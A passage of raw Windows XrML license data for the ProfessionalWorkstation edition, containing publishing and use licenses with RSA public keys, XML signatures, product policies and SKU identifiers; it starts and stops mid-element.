xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>103IwZvX8Q/4aR6yFJpjbmkPQp0=</DigestValue></Reference></SignedInfo><SignatureValue>YYIfMKq/09TvrbbPM9ZzEit1Fd8ZJHJI69h7qesNTi8tWHyjaWvyudkbED0m//K+xBvLQ4cxxpyNJErLvFrIzWWRQ2sbG4H+sv8FT8f9JP+rFWIrq9wUz+Fdc2izudHqnIbawAbiAbsg5Fh9MC6YCW82tayWhOntYkIk94JFic7jUm7s9tdhrYSZObjBXcjVkSJaRGw3fgVEcENJ7fpS1aeYp0p6ezm0xiNKEGgd9OEGc45WPjfkdg+wOyN5r8cXt9Wj9EDetYXNLV+T5uTwZRimUdl6z4kf8oeFWjtSKBYnvZo/zv5WXjrVhbn4F4DqJtuXmSa9j0JUC+8kPr85AA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{4077f8ef-3d87-46dd-9360-6b4241b8c94e}</tm:infoStr><tm:infoStr name="productSkuId">{30a42c86-b7a0-4a34-8c90-ff177cb2acb7}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="clip:policy">1</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{96aa5063-fcf5-4f14-88b2-a96e1662e4c4}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Public)</r:title><r:grant><r:forAll varName="productId"><r:anXmlExpression>/sl:productId/sl:pid</r:anXmlExpression></r:forAll><r:forAll varName="binding"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyStr name="Security-SPP-KmsCountedIdList" attributes="override-only">{58e2134f-8e11-4d17-9cb2-91069c151148}, {d27cd636-1962-44e9-8b4f-27b6c23efb85}, {cb8fc780-2c05-495a-9710-85afffc904d7}, {3c40b358-5948-45af-923b-53d21fcc7e79}, {7fde5219-fbfa-484a-82c9-34d1ad53e856}, {212a64dc-43b1-4d3d-a30c-2fc69d2095c6}, {e1c51358-fe3e-4203-a4a2-3b6b20c9734e}, {6d646890-3606-461a-86ab-598bb84ace82}, {bbb97b3b-8ca4-4a28-9717-89fabd42c4ac}, {cbdcb1ba-e093-4c81-a463-10775291fdf9}, {969FE3C0-A3EC-491A-9F25-423605DEB365}</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr></sl:productPolicies><sl:proxyExecutionKey xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"></sl:proxyExecutionKey><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAAFAAAA</sl:data></sl:externalValidator></r:allConditions><mx:renderer><sl:binding varRef="binding"/><sl:productId varRef="productId"/></mx:renderer></r:allConditions></r:grant><r:allConditions><sl:businessRules xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"></sl:businessRules></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>CpJYds7Ez38DG4JaTrquD1TvnBw=</DigestValue></Reference></SignedInfo><SignatureValue>l9ipO1OQVTVv3R9s6odkoNRMHo28za2HZQJan0IjGOPlGKzog2rFopmtvk0pY6+GUt6P/K5N39xkdE9K1+uQwwucTostqqgqzGM/AwKiYDwFfKyENdNZMo2Saf6TuHekSydAFouh8nwgGGArxDQNDAMbwaKj+ZmHK36bQJQ8kAn/SSQymeDFjSTtgUx/mVPkbyOnpuwCEEX6/MVno7caqzL7yr6uhah8Wueym9sI06la4N1NaedEJCs3qNb1XKbzNN/NAcT7RaIb9AtO2sNVuxEhZQ+0iQhHujZ6A5CK7r1pvmU6QtXe2stWtVj95tYJ7KxBURvChwW9+Ge+1M6tZA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="productSkuId">{d552befb-48cc-4327-8f39-47d2d94f987c}</tm:infoStr><tm:infoStr name="privateCertificateId">{781fbdd2-8638-454b-a6fe-bf0f6848d158}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System</tm:infoStr><tm:infoStr name="clientIssuanceCertificateId">{4961cc30-d690-43be-910c-8e2db01fc5ad}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{781fbdd2-8638-454b-a6fe-bf0f6848d158}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Private)</r:title><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="appid"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:prerequisiteRight><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:right varRef="anyRight"/><sl:appId varRef="appid"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight></r:grant></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>y1uCrneVaHW0GAxs9B6bGQNnCt0=</DigestValue></Reference></SignedInfo><SignatureValue>CJiRsg/nBkPfMl6nD5o0SMvSRw7tBAGxKGjzWUd1bqBBZZemYTJVnK4ZurUjHeG4Uywqp4NWvxE7GChk7BHahB5BmwWWiGacHGj4vErqBmO4yTNQmSw5NUlKagggjjp1Y6EetM2OII4F85RzALRWQ48p2QssvkpK61OnDA8bmz73cfCrrToMDG/seJOuPU5HHiUFat7HLN8Vfs6+sYcSPNwLLTy+soCsjEn0GMgW0G4+cLHqonYDPXwAZ7VEU818zV/va2z2s4jghO+9EEsFHpnUGxSM+4k8CkvrAmWvvyHq21ndSojmk2bX37q5p//Pmi6lh68vcX9f3jPEHFYhRw==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="publicCertificateId">{96aa5063-fcf5-4f14-88b2-a96e1662e4c4}</tm:infoStr><tm:infoStr name="clientIssuanceCertificateId">{4961cc30-d690-43be-910c-8e2db01fc5ad}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{54beec1b-1502-4a16-8c3e-743e870e952b}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyStr name="Security-SPP-KmsCountedIdList" attributes="override-only">{58e2134f-8e11-4d17-9cb2-91069c151148}, {d27cd636-1962-44e9-8b4f-27b6c23efb85}, {cb8fc780-2c05-495a-9710-85afffc904d7}, {3c40b358-5948-45af-923b-53d21fcc7e79}, {7fde5219-fbfa-484a-82c9-34d1ad53e856}, {212a64dc-43b1-4d3d-a30c-2fc69d2095c6}, {e1c51358-fe3e-4203-a4a2-3b6b20c9734e}, {6d646890-3606-461a-86ab-598bb84ace82}, {bbb97b3b-8ca4-4a28-9717-89fabd42c4ac}, {cbdcb1ba-e093-4c81-a463-10775291fdf9}, {969FE3C0-A3EC-491A-9F25-423605DEB365}</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-GraceTimerUniqueness" attributes="override-only">EditionId</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-ValidityTimerUniqueness" attributes="override-only">EditionId</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{d552befb-48cc-4327-8f39-47d2d94f987c}"></sl:productIdRange></r:allConditions></r:grant><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId><sl:guid>{55c92734-d682-4d71-983e-d6ec3f16059f}</sl:guid></sl:appId><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>501</sl:priority><sl:policyInt name="Security-SPP-Reserved-NotificationGrantConsumed" attributes="override-only">1</sl:policyInt></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{d552befb-48cc-4327-8f39-47d2d94f987c}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAADAAAA</sl:data></sl:externalValidator><sl:floatingPeriod xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:duration>P0D</sl:duration><sl:type>msft:sl/grace-period</sl:type></sl:floatingPeriod></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>Jy+sHye/P0kWfrQSsaUMMJBEcxQ=</DigestValue></Reference></SignedInfo><SignatureValue>nvoBb1bfIUqTkEPOx2tKUEvXNKAQJhoz/ylwrDpvIiH9xEzHTpLRRk+qJy0CMR0he8hVuxMNNWRDixjWhIZahhMk0aZVeAkhfdLRo9tsGNYjImwJZ7Hkp+44z5DA3n9AMyVftgeGzw87V6PVWWyXk+9loXu1Ux5kAOis6u67eNm0gkVH6iEuQ4yUxePvIhHQqsTIOHhfkfiM3Oh+ULu4//6mtQsfop+Q+HNR1ajmHCGc+sDBMeusHP44lX0O4bDlyqk08NMjaKV9x3Hz3h8MTZ68/GH0Uku2gwLg8B/sa3ySDSlDuJdniKM7gv2r4dL7g+c3Y+tivbY/gbrZ7VYnsw==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{d552befb-48cc-4327-8f39-47d2d94f987c}</tm:infoStr><tm:infoStr name="privateCertificateId">{5cb1d359-b1ab-43db-8e5f-7c2832c8a641}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{71ce6518-3581-46da-948d-083c57061836}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMS_W10 